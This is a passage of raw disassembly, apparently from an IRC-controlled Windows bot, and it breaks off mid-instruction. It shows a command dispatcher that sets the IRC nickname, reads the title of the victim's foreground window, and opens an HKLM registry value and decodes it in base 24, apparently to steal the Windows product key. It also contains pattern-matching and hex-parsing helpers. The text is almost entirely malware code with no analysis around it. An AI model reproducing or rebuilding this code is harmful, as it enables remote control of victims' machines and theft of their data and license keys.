mov al, 1 jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6D4: ; CODE XREF: sub_40A5BE+110j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A6E5 xor al, al jmp short locret_40A6E9 ; --------------------------------------------------------------------------- loc_40A6E5: ; CODE XREF: sub_40A5BE+121j jmp short loc_40A6AF ; --------------------------------------------------------------------------- loc_40A6E7: ; CODE XREF: sub_40A5BE+E9j xor al, al locret_40A6E9: ; CODE XREF: sub_40A5BE+1Aj ; sub_40A5BE+39j ... leave retn sub_40A5BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A6EB proc near ; CODE XREF: sub_4097A7+10Ap ; sub_4098F3+155p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A730 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A70A mov al, 1 jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A70A: ; CODE XREF: sub_40A6EB+16j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A729 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A729: ; CODE XREF: sub_40A6EB+28j xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A730: ; CODE XREF: sub_40A6EB+Cj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A741 xor al, al jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A741: ; CODE XREF: sub_40A6EB+4Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A767 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_40A6EB+64j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 41h jl short loc_40A77D mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 5Ah jle short loc_40A793 loc_40A77D: ; CODE XREF: sub_40A6EB+85j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 61h jl short loc_40A7BC mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 7Ah jg short loc_40A7BC loc_40A793: ; CODE XREF: sub_40A6EB+90j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] xor eax, 20h mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_40A7BC mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7BC: ; CODE XREF: sub_40A6EB+9Bj ; sub_40A6EB+A6j ... mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_40A7DD mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp locret_40A86B ; --------------------------------------------------------------------------- loc_40A7DD: ; CODE XREF: sub_40A6EB+DAj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A820 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_40A7FE mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 39h jle short loc_40A809 loc_40A7FE: ; CODE XREF: sub_40A6EB+106j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 23h jnz short loc_40A81C loc_40A809: ; CODE XREF: sub_40A6EB+111j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_40A6EB pop ecx pop ecx jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A81C: ; CODE XREF: sub_40A6EB+11Cj xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A820: ; CODE XREF: sub_40A6EB+FBj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_40A869 and [ebp+var_4], 0 jmp short loc_40A838 ; --------------------------------------------------------------------------- loc_40A831: ; CODE XREF: sub_40A6EB:loc_40A867j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40A838: ; CODE XREF: sub_40A6EB+144j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call sub_40A6EB pop ecx pop ecx movzx eax, al test eax, eax jz short loc_40A856 mov al, 1 jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A856: ; CODE XREF: sub_40A6EB+165j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_40A867 xor al, al jmp short locret_40A86B ; --------------------------------------------------------------------------- loc_40A867: ; CODE XREF: sub_40A6EB+176j jmp short loc_40A831 ; --------------------------------------------------------------------------- loc_40A869: ; CODE XREF: sub_40A6EB+13Ej xor al, al locret_40A86B: ; CODE XREF: sub_40A6EB+1Aj ; sub_40A6EB+39j ... leave retn sub_40A6EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A86D proc near ; CODE XREF: sub_40A8AD+FDp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 cmp [ebp+arg_4], 0 jnz short loc_40A884 push 1 pop eax jmp short locret_40A8AB ; --------------------------------------------------------------------------- loc_40A884: ; CODE XREF: sub_40A86D+10j mov [ebp+var_8], 1 jmp short loc_40A894 ; --------------------------------------------------------------------------- loc_40A88D: ; CODE XREF: sub_40A86D+39j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40A894: ; CODE XREF: sub_40A86D+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] loc_40A89A: ; DATA XREF: .data:0041AE78o ; .data:0041AEBCo ... jg short loc_40A8A8 mov eax, [ebp+var_4] imul eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40A88D ; --------------------------------------------------------------------------- loc_40A8A8: ; CODE XREF: sub_40A86D:loc_40A89Aj mov eax, [ebp+var_4] locret_40A8AB: ; CODE XREF: sub_40A86D+15j leave retn sub_40A86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A8AD proc near ; CODE XREF: sub_406509+26p ; sub_40A9CF+193Fp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi push edi mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_20], 0 mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_1C] movsd movsw movsb mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 30h jnz short loc_40A90C mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 78h jz short loc_40A905 mov eax, [ebp+arg_0] add eax, [ebp+var_20] movsx eax, byte ptr [eax] cmp eax, 58h jnz short loc_40A90C loc_40A905: ; CODE XREF: sub_40A8AD+48j mov eax, [ebp+var_20] inc eax mov [ebp+var_20], eax loc_40A90C: ; CODE XREF: sub_40A8AD+33j ; sub_40A8AD+56j push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_20] mov [ebp+var_14], eax jmp short loc_40A927 ; --------------------------------------------------------------------------- loc_40A920: ; CODE XREF: sub_40A8AD+116j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40A927: ; CODE XREF: sub_40A8AD+71j mov eax, [ebp+var_14] cmp eax, [ebp+var_28] jge loc_40A9C8 mov eax, [ebp+arg_0] add eax, [ebp+var_14] movsx eax, byte ptr [eax] push eax call sub_416DE4 ; tolower pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 30h jl short loc_40A95D cmp [ebp+var_8], 39h jg short loc_40A95D mov eax, [ebp+var_8] sub eax, 30h mov [ebp+var_10], eax jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A95D: ; CODE XREF: sub_40A8AD+9Dj ; sub_40A8AD+A3j cmp [ebp+var_8], 61h jl short loc_40A99C cmp [ebp+var_8], 66h jg short loc_40A99C and [ebp+var_24], 0 jmp short loc_40A976 ; --------------------------------------------------------------------------- loc_40A96F: ; CODE XREF: sub_40A8AD:loc_40A998j mov eax, [ebp+var_24] inc eax mov [ebp+var_24], eax loc_40A976: ; CODE XREF: sub_40A8AD+C0j mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] test eax, eax jz short loc_40A99A mov eax, [ebp+var_24] movsx eax, [ebp+eax+var_1C] cmp [ebp+var_8], eax jnz short loc_40A998 mov eax, [ebp+var_24] add eax, 0Ah mov [ebp+var_10], eax loc_40A998: ; CODE XREF: sub_40A8AD+E0j jmp short loc_40A96F ; --------------------------------------------------------------------------- loc_40A99A: ; CODE XREF: sub_40A8AD+D3j jmp short loc_40A9A0 ; --------------------------------------------------------------------------- loc_40A99C: ; CODE XREF: sub_40A8AD+B4j ; sub_40A8AD+BAj xor eax, eax jmp short loc_40A9CB ; --------------------------------------------------------------------------- loc_40A9A0: ; CODE XREF: sub_40A8AD+AEj ; sub_40A8AD:loc_40A99Aj mov eax, [ebp+var_28] sub eax, [ebp+var_14] dec eax push eax push 10h call sub_40A86D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] imul eax, [ebp+var_10] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx jmp loc_40A920 ; --------------------------------------------------------------------------- loc_40A9C8: ; CODE XREF: sub_40A8AD+80j mov eax, [ebp+var_C] loc_40A9CB: ; CODE XREF: sub_40A8AD+F1j pop edi pop esi leave retn sub_40A8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9CF proc near ; CODE XREF: sub_40D871+C95p ; sub_40D871+D9Cp var_6424 = dword ptr -6424h var_6420 = dword ptr -6420h var_641C = dword ptr -641Ch var_6418 = dword ptr -6418h var_6414 = dword ptr -6414h var_6410 = dword ptr -6410h var_640C = dword ptr -640Ch var_6408 = dword ptr -6408h var_6404 = dword ptr -6404h var_6400 = dword ptr -6400h var_63FC = dword ptr -63FCh var_63F8 = dword ptr -63F8h var_63F4 = dword ptr -63F4h var_63F0 = dword ptr -63F0h var_63EC = dword ptr -63ECh var_63E8 = dword ptr -63E8h var_63E4 = dword ptr -63E4h var_63E0 = dword ptr -63E0h var_63DC = dword ptr -63DCh var_63D8 = dword ptr -63D8h var_63D4 = dword ptr -63D4h var_63D0 = dword ptr -63D0h var_63CC = dword ptr -63CCh var_63C8 = dword ptr -63C8h var_63C4 = dword ptr -63C4h var_63C0 = dword ptr -63C0h var_63BC = dword ptr -63BCh var_63B8 = dword ptr -63B8h var_63B4 = word ptr -63B4h var_63B2 = word ptr -63B2h var_63B0 = dword ptr -63B0h var_63A4 = dword ptr -63A4h var_63A0 = byte ptr -63A0h var_639C = dword ptr -639Ch var_6398 = byte ptr -6398h var_6397 = byte ptr -6397h var_6396 = byte ptr -6396h var_6395 = byte ptr -6395h var_6394 = byte ptr -6394h var_6393 = byte ptr -6393h var_6392 = byte ptr -6392h var_6391 = byte ptr -6391h var_6390 = byte ptr -6390h var_638F = byte ptr -638Fh var_638E = byte ptr -638Eh var_638D = byte ptr -638Dh var_638C = dword ptr -638Ch var_6388 = byte ptr -6388h var_5F84 = dword ptr -5F84h var_5F80 = byte ptr -5F80h var_5B7C = dword ptr -5B7Ch var_5B78 = dword ptr -5B78h var_5B74 = byte ptr -5B74h var_5A70 = dword ptr -5A70h var_5A6C = dword ptr -5A6Ch var_5A68 = dword ptr -5A68h var_5A64 = byte ptr -5A64h var_1A64 = dword ptr -1A64h var_1A60 = byte ptr -1A60h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_A38 = byte ptr -0A38h var_A30 = dword ptr -0A30h var_A2C = dword ptr -0A2Ch var_A28 = dword ptr -0A28h var_A24 = dword ptr -0A24h var_A20 = dword ptr -0A20h var_A1C = dword ptr -0A1Ch var_A18 = byte ptr -0A18h var_9F8 = dword ptr -9F8h var_9F4 = byte ptr -9F4h var_9EF = byte ptr -9EFh var_9EA = byte ptr -9EAh var_9E5 = byte ptr -9E5h var_9E0 = byte ptr -9E0h var_9DB = byte ptr -9DBh var_9D8 = byte ptr -9D8h var_9A4 = byte ptr -9A4h var_970 = byte ptr -970h var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_8D3 = byte ptr -8D3h var_8D2 = byte ptr -8D2h var_8CD = byte ptr -8CDh var_8CC = byte ptr -8CCh var_8C7 = byte ptr -8C7h var_8C6 = byte ptr -8C6h var_8C1 = byte ptr -8C1h var_8C0 = byte ptr -8C0h var_8BB = byte ptr -8BBh var_8B8 = byte ptr -8B8h var_8A0 = byte ptr -8A0h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_718 = byte ptr -718h var_59B = byte ptr -59Bh var_598 = byte ptr -598h var_418 = dword ptr -418h var_414 = byte ptr -414h var_214 = byte ptr -214h var_1F0 = byte ptr -1F0h var_1CC = byte ptr -1CCh var_1A8 = dword ptr -1A8h var_1A4 = byte ptr -1A4h var_183 = byte ptr -183h var_83 = dword ptr -83h var_7F = byte ptr -7Fh var_19 = byte ptr -19h var_B = byte ptr -0Bh var_8 = byte ptr -8 var_5 = dword ptr -5 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 6424h call sub_416BC0 push esi push edi mov eax, [ebp+arg_14] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_1A8], eax push [ebp+arg_0] lea eax, [ebp+var_1A4] push eax call sub_416B3A ; strcpy pop ecx pop ecx push [ebp+arg_8] lea eax, [ebp+var_183] push eax call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+arg_C] mov [ebp+var_83], eax push 7Ah push [ebp+arg_10] lea eax, [ebp+var_7F] push eax call sub_416B52 ; memcpy add esp, 0Ch mov [ebp+var_5], 1 mov eax, [ebp+var_1A8] sub eax, dword_419F18 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AA59 lea eax, [ebp+var_1A4] push eax call sub_415AF0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AA59: ; CODE XREF: sub_40A9CF+76j mov eax, [ebp+var_1A8] sub eax, dword_419F0C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AACF mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40AAAC lea eax, [ebp+var_214] push eax lea eax, [ebp+var_1F0] push eax lea eax, [ebp+var_1CC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1CC] push eax push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AAAC: ; CODE XREF: sub_40A9CF+A6j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_40D7E5 pop ecx mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset aNickS ; "NICK %s" call sub_40D6CB pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AACF: ; CODE XREF: sub_40A9CF+9Dj mov eax, [ebp+var_1A8] sub eax, dword_419EF8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB21 push 200h lea eax, [ebp+var_414] push eax call ds:dword_4171D8 ; GetForegroundWindow push eax call ds:dword_4171E4 ; GetWindowTextA test eax, eax jle short loc_40AB1C lea eax, [ebp+var_414] push eax push offset dword_419EDC lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AB1C: ; CODE XREF: sub_40A9CF+130j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB21: ; CODE XREF: sub_40A9CF+113j mov eax, [ebp+var_1A8] sub eax, dword_419ED0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40AB56 mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4077DD add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AB56: ; CODE XREF: sub_40A9CF+165j mov eax, [ebp+var_1A8] sub eax, dword_419EC4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AC89 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AC84 push 180h mov eax, [ebp+arg_18] push dword ptr [eax+4] lea eax, [ebp+var_598] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 3 jle short loc_40ABFE push offset dword_419EC0 mov eax, [ebp+var_418] lea eax, [ebp+eax+var_59B] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_40ABFE mov eax, [ebp+var_418] and [ebp+eax+var_59B], 0 lea eax, [ebp+var_598] push eax call sub_4078A0 pop ecx lea eax, [ebp+var_598] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_418], eax loc_40ABFE: ; CODE XREF: sub_40A9CF+1E1j ; sub_40A9CF+1FFj mov eax, [ebp+var_418] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_418] sub ecx, eax cmp ecx, 180h jbe short loc_40AC1F jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC1F: ; CODE XREF: sub_40A9CF+249j push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF29 pop ecx pop ecx push [ebp+var_418] lea eax, [ebp+var_598] push eax call sub_40EF59 pop ecx pop ecx mov [ebp+var_418], eax push [ebp+var_418] lea eax, [ebp+var_718] push eax lea eax, [ebp+var_598] push eax call sub_40EB4E add esp, 0Ch lea eax, [ebp+var_718] push eax push offset dword_419E9C lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AC84: ; CODE XREF: sub_40A9CF+1A7j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AC89: ; CODE XREF: sub_40A9CF+19Aj mov eax, [ebp+var_1A8] sub eax, dword_419E90 neg eax sbb eax, eax inc eax test eax, eax jz loc_40AD84 mov eax, [ebp+arg_18] cmp dword ptr [eax+4], 0 jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] movsx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40EC96 pop ecx test eax, eax jz loc_40AD7F mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_71C], eax mov eax, [ebp+var_71C] cdq push 4 pop ecx idiv ecx mov ecx, [ebp+var_71C] sub ecx, eax cmp ecx, 180h jbe short loc_40AD0C jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD0C: ; CODE XREF: sub_40A9CF+336j lea eax, [ebp+var_8A0] push eax mov eax, [ebp+arg_18] mov eax, [eax+4] inc eax push eax call sub_40E9C9 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40F040 pop ecx pop ecx mov [ebp+var_720], eax push [ebp+var_720] lea eax, [ebp+var_8A0] push eax call sub_40EF41 pop ecx pop ecx mov eax, [ebp+var_720] and [ebp+eax+var_8A0], 0 lea eax, [ebp+var_8A0] push eax push offset dword_419E70 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40AD7F: ; CODE XREF: sub_40A9CF+2DAj ; sub_40A9CF+2ECj ... jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: sub_40A9CF+2CDj mov eax, [ebp+var_1A8] sub eax, dword_419E60 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADB2 mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_406643 pop ecx pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADB2: ; CODE XREF: sub_40A9CF+3C8j mov eax, [ebp+var_1A8] sub eax, dword_419E50 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40ADD9 lea eax, [ebp+var_1A4] push eax call sub_4064BF pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40ADD9: ; CODE XREF: sub_40A9CF+3F6j mov eax, [ebp+var_1A8] sub eax, dword_419E48 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B0B6 and [ebp+var_9F8], 0 mov [ebp+var_A1C], 0C8h push 0Ch pop ecx mov esi, offset dword_419E14 lea edi, [ebp+var_9D8] rep movsd movsb push 5 pop ecx mov esi, offset dword_419DFC lea edi, [ebp+var_8B8] rep movsd movsb lea eax, [ebp+var_9D8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_9F8] push eax push 20019h push 0 lea eax, [ebp+var_9D8] push eax push 80000002h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jz short loc_40AE7D lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AE78 push [ebp+var_9F8] call ds:dword_417028 ; RegCloseKey loc_40AE78: ; CODE XREF: sub_40A9CF+49Bj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AE7D: ; CODE XREF: sub_40A9CF+485j lea eax, [ebp+var_9D8] push eax call sub_4105AD pop ecx lea eax, [ebp+var_8B8] push eax call sub_4105FB pop ecx lea eax, [ebp+var_A1C] push eax lea eax, [ebp+var_9A4] push eax push 0 push 0 lea eax, [ebp+var_8B8] push eax push [ebp+var_9F8] call ds:dword_41700C ; RegQueryValueExA test eax, eax jz short loc_40AEE7 lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx cmp [ebp+var_9F8], 0 jz short loc_40AEE2 push [ebp+var_9F8] call ds:dword_417028 ; RegCloseKey loc_40AEE2: ; CODE XREF: sub_40A9CF+505j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40AEE7: ; CODE XREF: sub_40A9CF+4EFj lea eax, [ebp+var_8B8] push eax call sub_4105AD pop ecx push [ebp+var_9F8] call ds:dword_417028 ; RegCloseKey push 7 pop ecx mov esi, offset dword_419DDC lea edi, [ebp+var_A18] rep movsd movsb lea eax, [ebp+var_A18] push eax call sub_4105FB pop ecx and [ebp+var_9DB], 0 mov [ebp+var_8DC], 18h jmp short loc_40AF3E ; --------------------------------------------------------------------------- loc_40AF31: ; CODE XREF: sub_40A9CF+60Bj mov eax, [ebp+var_8DC] dec eax mov [ebp+var_8DC], eax loc_40AF3E: ; CODE XREF: sub_40A9CF+560j cmp [ebp+var_8DC], 0 jl loc_40AFDF and [ebp+var_A20], 0 mov [ebp+var_A24], 0Eh jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9CF+5EFj mov eax, [ebp+var_A24] dec eax mov [ebp+var_A24], eax loc_40AF6B: ; CODE XREF: sub_40A9CF+58Dj cmp [ebp+var_A24], 0 jl short loc_40AFC0 mov eax, [ebp+var_A20] shl eax, 8 mov ecx, [ebp+var_A24] movzx ecx, [ebp+ecx+var_970] add eax, ecx mov [ebp+var_A20], eax mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov ecx, [ebp+var_A24] mov [ebp+ecx+var_970], al mov eax, [ebp+var_A20] cdq push 18h pop ecx idiv ecx mov [ebp+var_A20], edx jmp short loc_40AF5E ; --------------------------------------------------------------------------- loc_40AFC0: ; CODE XREF: sub_40A9CF+5A3j mov eax, [ebp+var_8DC] mov ecx, [ebp+var_A20] mov cl, [ebp+ecx+var_A18] mov [ebp+eax+var_9F4], cl jmp loc_40AF31 ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: sub_40A9CF+576j lea eax, [ebp+var_A18] push eax call sub_4105AD pop ecx and [ebp+var_8BB], 0 mov [ebp+var_8C1], 2Dh mov al, [ebp+var_8C1] mov [ebp+var_8C7], al mov al, [ebp+var_8C7] mov [ebp+var_8CD], al mov al, [ebp+var_8CD] mov [ebp+var_8D3], al push 5 lea eax, [ebp+var_9F4] push eax lea eax, [ebp+var_8D8] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EF] push eax lea eax, [ebp+var_8D2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9EA] push eax lea eax, [ebp+var_8CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E5] push eax lea eax, [ebp+var_8C6] push eax call sub_416B52 ; memcpy add esp, 0Ch push 5 lea eax, [ebp+var_9E0] push eax lea eax, [ebp+var_8C0] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_8D8] push eax push offset aS ; "%s" lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B0B6: ; CODE XREF: sub_40A9CF+41Dj mov eax, [ebp+var_1A8] sub eax, dword_419DCC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B11C mov [ebp+var_8], 1 movsx eax, [ebp+var_19] test eax, eax jz short loc_40B0E6 lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: sub_40A9CF+706j movsx eax, [ebp+var_B] test eax, eax jz short loc_40B0FD lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx jmp short loc_40B117 ; --------------------------------------------------------------------------- loc_40B0FD: ; CODE XREF: sub_40A9CF+71Dj lea eax, [ebp+var_1A4] push eax call sub_411D68 pop ecx lea eax, [ebp+var_1A4] push eax call sub_4123F6 pop ecx loc_40B117: ; CODE XREF: sub_40A9CF+715j ; sub_40A9CF+72Cj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B11C: ; CODE XREF: sub_40A9CF+6FAj mov eax, [ebp+var_1A8] sub eax, dword_419DBC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B143 lea eax, [ebp+var_1A4] push eax call sub_414EB0 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B143: ; CODE XREF: sub_40A9CF+760j mov eax, [ebp+var_1A8] sub eax, dword_419DB0 neg eax sbb eax, eax inc eax test eax, eax jz loc_40B247 push 8 pop ecx mov esi, offset dword_419D8C lea edi, [ebp+var_A5C] rep movsd movsb mov esi, offset dword_419D84 lea edi, [ebp+var_A38] movsd movsw movsx eax, [ebp+var_A38] mov ecx, off_41DA68 movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_A30], eax cmp [ebp+var_A30], 0 jz short loc_40B1AD mov [ebp+var_63E4], offset dword_419D78 jmp short loc_40B1B7 ; --------------------------------------------------------------------------- loc_40B1AD: ; CODE XREF: sub_40A9CF+7D0j mov [ebp+var_63E4], offset dword_419D68 loc_40B1B7: ; CODE XREF: sub_40A9CF+7DCj mov eax, [ebp+var_63E4] mov [ebp+var_A28], eax cmp [ebp+var_A30], 0 jz short loc_40B1D8 mov [ebp+var_63E8], offset aThisBuildIsFul ; "This build is fully functional" jmp short loc_40B1E2 ; --------------------------------------------------------------------------- loc_40B1D8: ; CODE XREF: sub_40A9CF+7FBj mov [ebp+var_63E8], offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_40B1E2: ; CODE XREF: sub_40A9CF+807j mov eax, [ebp+var_63E8] mov [ebp+var_A2C], eax lea eax, [ebp+var_A5C] push eax call sub_4105FB pop ecx push [ebp+var_A2C] push [ebp+var_A28] mov eax, dword_41EC30 and eax, 0FFFFh push eax movsx eax, byte ptr dword_41DA48 and eax, 0FFh push eax lea eax, [ebp+var_A5C] push eax lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 18h lea eax, [ebp+var_A5C] push eax call sub_4105AD pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B247: ; CODE XREF: sub_40A9CF+787j mov eax, [ebp+var_1A8] sub eax, dword_419D08 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B28E mov eax, [ebp+arg_14] push dword ptr [eax+14h] mov eax, [ebp+arg_14] push dword ptr [eax+10h] mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_405E45 add esp, 18h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40B28E: ; CODE XREF: sub_40A9CF+88Bj mov eax, [ebp+var_1A8] sub eax, dword_419CFC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40B2C5 mov eax, [ebp+arg_18] add eax, 4 push eax mov eax, [ebp+arg_14] add eax, 4 push eax lea eax, 